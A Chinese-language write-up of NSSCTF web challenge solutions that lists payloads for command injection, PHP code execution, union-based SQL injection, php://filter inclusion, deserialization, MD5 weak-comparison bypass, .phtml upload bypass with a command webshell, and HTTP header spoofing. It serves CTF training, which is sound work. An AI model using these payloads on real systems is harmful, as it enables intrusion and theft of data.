NSSCTF Web 安全竞赛解题思路汇总

Payload:

/rasalghul.php?url=cat$IFS$1/flllllaaaaaaggggggg

PHP 代码执行

PHP 是世界上最好的语言！！ 允许输入 PHP 代码并执行，直接写入 system("cat /flag") 即可。

<?php system("cat /flag");?>

SQL 注入

字符型注入是经典考点，重点在于判断列数和回显位置。

步骤解析

1. 判断列数：尝试 order by，直到报错。

   ?wllm=-1' order by 3--+
   

2. 确定回显位：使用 union select。

   ?wllm=-1' union select 1,2,3--+
   

3. 查询数据库与表：利用 information_schema。

   ?wllm=-1' union select 1,2,database()--+
   ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+
   

4. 获取 Flag：最终查询目标字段。

   ?wllm=-1' union select 1,2,flag from test_tb--+
   

其他常见漏洞

伪协议读取

include 题目支持文件包含，结合 php://filter 可读取源码。

URL:

?file=flag.php

解码后得到：

$flag='NSSCTF{d44702c1-094b-489a-a0ab-50471944f73d}';

反序列化

ez_unserialize 涉及对象反序列化，需构造特定的 Payload 触发魔术方法。

Poc:

class wllm{
    public $admin="admin";
    public $passwd="ctf";
}
echo serialize(new wllm());

Payload:

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

弱比较绕过

easy_md5 利用 MD5 弱比较特性，传入数组或特定字符串绕过验证。

示例值：314282422、571579406

文件上传

easyupload2.0 仅过滤了 .php 后缀，可使用 .phtml 等变体绕过。

上传小马后，通过 cmd 参数执行命令：

cmd=system("env");

HTTP 头与 JSON

Do_you_know_http 需要修改 UA 为特定值，并设置 X-Forwarded-For 为本地 IP。

jicao 则涉及 JSON 数据提交，GET 和 POST 参数均可能包含关键信息。

以上总结了本次竞赛中遇到的主要 Web 题型。实战中请保持对细节的敏感度，灵活运用各种绕过技巧。